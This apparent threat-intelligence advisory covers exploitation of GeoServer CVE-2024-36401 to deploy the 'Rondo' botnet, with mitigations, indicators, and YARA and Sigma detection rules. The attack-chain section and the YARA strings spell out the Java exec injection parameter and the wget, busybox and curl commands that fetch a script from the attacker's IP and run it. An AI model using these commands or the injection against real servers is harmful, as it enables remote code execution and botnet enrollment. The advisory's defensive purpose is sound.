Rondo Meets Geoserver, (Wed, Jul 22nd)

1. Executive summary

Active exploitation of CVE-2024-36401 (CVSS 9.8 CRITICAL, CWE-95/CWE-94) has been observed in the wild targeting GeoServer instances. The vulnerability, which is currently listed in CISA KEV (added 2024-07-15) with an EPSS of 100%, allows unauthenticated remote code execution via property name evaluation. The observed attack chain deploys the "Rondo" botnet payload; however, as "Rondo" lacks a MITRE ATT&CK profile in the verified reference data, this attribution must be treated as unconfirmed. EMEA financial services running exposed GeoServer instances face immediate risk of system compromise and botnet enrollment.

2. Regulatory framing

3. Technical analysis & attack chain

The attack chain is reconstructed from a single-source log observation (SANS ISC); defensive actions should be based on the high-confidence CVE mechanism rather than the specific actor attribution.

1. Initial Access (Vulnerability Exploitation): The attacker sends an HTTP GET request to /geoserver/wfs on port 8080. The request uses the GetPropertyValue operation with the parameter valueReference=exec(java.lang.Runtime.getRuntime(),...). This triggers CVE-2024-36401, an X-Path expression evaluation issue (classified in verified data as CWE-95/CWE-94 Code Injection) that passes user input directly to the Java runtime engine.
2. Execution (Payload Delivery): The valueReference parameter executes a bash -c command. This command base64-decodes an embedded string and pipes it to sh.
3. Command and Control / Payload Retrieval: The decoded command attempts to download and execute a botnet payload using multiple fallback methods: wget -qO-, busybox wget -qO-, and curl -s. The payload is fetched from hxxp://45.153.34[.]153/rondo.``zyt.sh.
4. Impact: The script executes the payload, deploying the "Rondo" botnet. The source notes a potential defacement element, observing an HTML comment <!-- You won't find it here --> in the server response, suggesting the botnet may have been previously kicked out and is returning, or maintaining a stealthy presence.

Attribution Caveat: The source attributes this activity to the "Rondo" botnet. As "Rondo" has no MITRE ATT&CK profile in the verified reference data, this attribution is unconfirmed.

4. Mitigation & containment

P1 (Within 24h) - Containment & Remediation

• Patch GeoServer: Apply the vendor fix for CVE-2024-36401 immediately. If patching is delayed, disable the vulnerable endpoints.
• Network Isolation: Restrict access to GeoServer instances (default port 8080) to only authorised internal IP ranges. Ensure GeoServer is not exposed directly to the public internet.
• Block C2 Infrastructure: Block IP 45.153.34[.]153 at the perimeter firewall and EDR network containment rules.

P2 (Within 72h) - Detection & Hardening

• WAF Rules: Implement a Web Application Firewall (WAF) rule to block requests to /geoserver/wfs containing exec(java.lang.Runtime.getRuntime() or valueReference= parameters containing bash -c.
• Log Review: Search web server and proxy logs for HTTP GET requests to /geoserver/wfs containing the string GetPropertyValue and exec( to identify historical compromise.

P3 (Within 7 days) - Validation

• System Audit: Audit compromised systems for scheduled tasks, unauthorized scripts (e.g., rondo.``zyt.sh), and web root modifications (e.g., defacement markers like <!-- You won't find it here -->).

5. Indicators of compromise

ipv4  45.153.34[.]153
url  hxxp://45.153.34[.]153/rondo.``zyt.sh
useragent  Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0

6. Detection

rule Rondo_Geoserver_Payload_Retrieval {
  meta:
    author = "Adverse Trace"
    date = "2026-07-22"
    reference = "https://isc.sans.edu/diary/rss/33176"
    description = "Detects the Rondo botnet payload retrieval command sequence targeting GeoServer"
  strings:
    $cmd1 = "wget -qO- http://45.153.34.153/rondo.``zyt.sh" nocase
    $cmd2 = "busybox wget -qO- http://45.153.34.153/rondo.``zyt.sh" nocase
    $cmd3 = "curl -s http://45.153.34.153/rondo.``zyt.sh" nocase
    $exec = "exec(java.lang.Runtime.getRuntime()" nocase
  condition:
    $exec and 1 of ($cmd*)
}

title: Detect CVE-2024-36401 GeoServer Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting the GeoServer WFS endpoint with a valueReference parameter containing Java runtime execution commands.
references:

  - https://isc.sans.edu/diary/rss/33176
logsource:
  category: webserver
  product: apache
  product: nginx
detection:
  selection_uri:
    cs-uri-stem|contains|all:

      - "/geoserver/wfs"
      - "GetPropertyValue"
  selection_payload:
    cs-uri-query|contains|all:

      - "exec(java.lang.Runtime.getRuntime()"
      - "bash -c"
  condition: selection_uri and selection_payload
fields:

  - src_ip
  - http_user_agent
  - cs-uri-query
falsepositives:

  - Legitimate administrative queries (highly unlikely)
level: critical

CVE assessment

1 referenced CVE — 1 actively exploited (CISA KEV), 1 critical (CVSS ≥ 9.0)

7. Sources

• SANS Internet Storm Center, "Rondo Meets Geoserver", https://isc.sans.edu/diary/rss/33176, 2026-07-22

8. Adverse Trace position

This advisory reflects an active, opportunistic exploitation of a critical (CVSS 9.8) and highly probable (EPSS 100%) vulnerability that is already listed in CISA KEV. The attack chain is straightforward and relies on unpatched, internet-facing GeoServer instances. While the "Rondo" botnet attribution is unconfirmed due to a lack of MITRE profiling, the technical indicators are high-confidence and actionable. EMEA financial services clients must immediately audit their external attack surface for GeoServer deployments and apply vendor patches. Adverse Trace will continue to monitor for expanded exploitation of this vector and provide updates if additional C2 infrastructure or payload variants are identified.

Read the original source →

Published via PulseTrace — Adverse Trace threat intelligence.